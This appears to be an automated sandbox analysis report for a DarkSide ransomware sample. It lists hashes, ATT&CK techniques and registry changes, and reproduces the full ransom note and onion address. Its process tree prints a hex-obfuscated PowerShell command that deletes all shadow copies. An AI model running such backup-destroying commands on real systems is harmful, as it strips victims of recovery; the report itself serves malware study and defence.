darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

max time kernel
72s
max time network
75s
platform
windows11-21h2_x64
resource
win11-20250313-en
resource tags

arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
submitted
25/03/2025, 14:50

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General

Target

RansomwareSamples/DarkSide_16_01_2021_59KB.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.754fe4f5.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (180) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2080	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-994669834-3080981395-1291080877-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\754fe4f5.BMP"	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-994669834-3080981395-1291080877-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\754fe4f5.BMP"	DarkSide_16_01_2021_59KB.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_16_01_2021_59KB.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-994669834-3080981395-1291080877-1000\Control Panel\Desktop\WallpaperStyle = "10"	DarkSide_16_01_2021_59KB.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.754fe4f5	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.754fe4f5\ = "754fe4f5"	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\754fe4f5\DefaultIcon	DarkSide_16_01_2021_59KB.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\754fe4f5	DarkSide_16_01_2021_59KB.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\754fe4f5\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\754fe4f5.ico"	DarkSide_16_01_2021_59KB.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2080	powershell.exe
2080	powershell.exe
4304	DarkSide_16_01_2021_59KB.exe
4304	DarkSide_16_01_2021_59KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeSecurityPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeTakeOwnershipPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeLoadDriverPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeSystemProfilePrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeSystemtimePrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeProfSingleProcessPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeIncBasePriorityPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeCreatePagefilePrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeBackupPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeRestorePrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeShutdownPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeSystemEnvironmentPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeRemoteShutdownPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeUndockPrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: SeManageVolumePrivilege	4304	DarkSide_16_01_2021_59KB.exe
Token: 33	4304	DarkSide_16_01_2021_59KB.exe
Token: 34	4304	DarkSide_16_01_2021_59KB.exe
Token: 35	4304	DarkSide_16_01_2021_59KB.exe
Token: 36	4304	DarkSide_16_01_2021_59KB.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeBackupPrivilege	2624	vssvc.exe
Token: SeRestorePrivilege	2624	vssvc.exe
Token: SeAuditPrivilege	2624	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 2080	4304	DarkSide_16_01_2021_59KB.exe	78
PID 4304 wrote to memory of 2080	4304	DarkSide_16_01_2021_59KB.exe	78

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe
C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_16_01_2021_59KB.exe bcdedit /set shutdown /r /f /t 2
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

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Downloads

C:\Recovery\WindowsRE\README.754fe4f5.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
aa0a32b11dca7b04f4cc5fe8c55cb357

SHA1
00e354fd0754a7d721a270cdc08f970b9a3f6605

SHA256
e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1

SHA512
1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60e7cd795aff12805e5841a3751bf12f

SHA1
3f65ec950635bf4297c374544c2e62597e12124b

SHA256
35c01fbbe6381bb7a2e4cb7045b40aded20ae99df6022205ec5e972399cc5db4

SHA512
317c11a18446b7314c8313e1932253b4225ff290302449828cb4832957640089b0f276947fd6196d4bf6b063d94393bc00b9d3dee377c94136e06de0c660932c

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kw2ug4zx.kso.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/2080-1-0x00007FFBB29D3000-0x00007FFBB29D5000-memory.dmp

Filesize
8KB

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memory/2080-2-0x0000022B747A0000-0x0000022B747C2000-memory.dmp

Filesize
136KB

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memory/2080-11-0x00007FFBB29D0000-0x00007FFBB3492000-memory.dmp

Filesize
10.8MB

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memory/2080-12-0x00007FFBB29D0000-0x00007FFBB3492000-memory.dmp

Filesize
10.8MB

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memory/2080-13-0x00007FFBB29D0000-0x00007FFBB3492000-memory.dmp

Filesize
10.8MB

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memory/2080-16-0x00007FFBB29D0000-0x00007FFBB3492000-memory.dmp

Filesize
10.8MB

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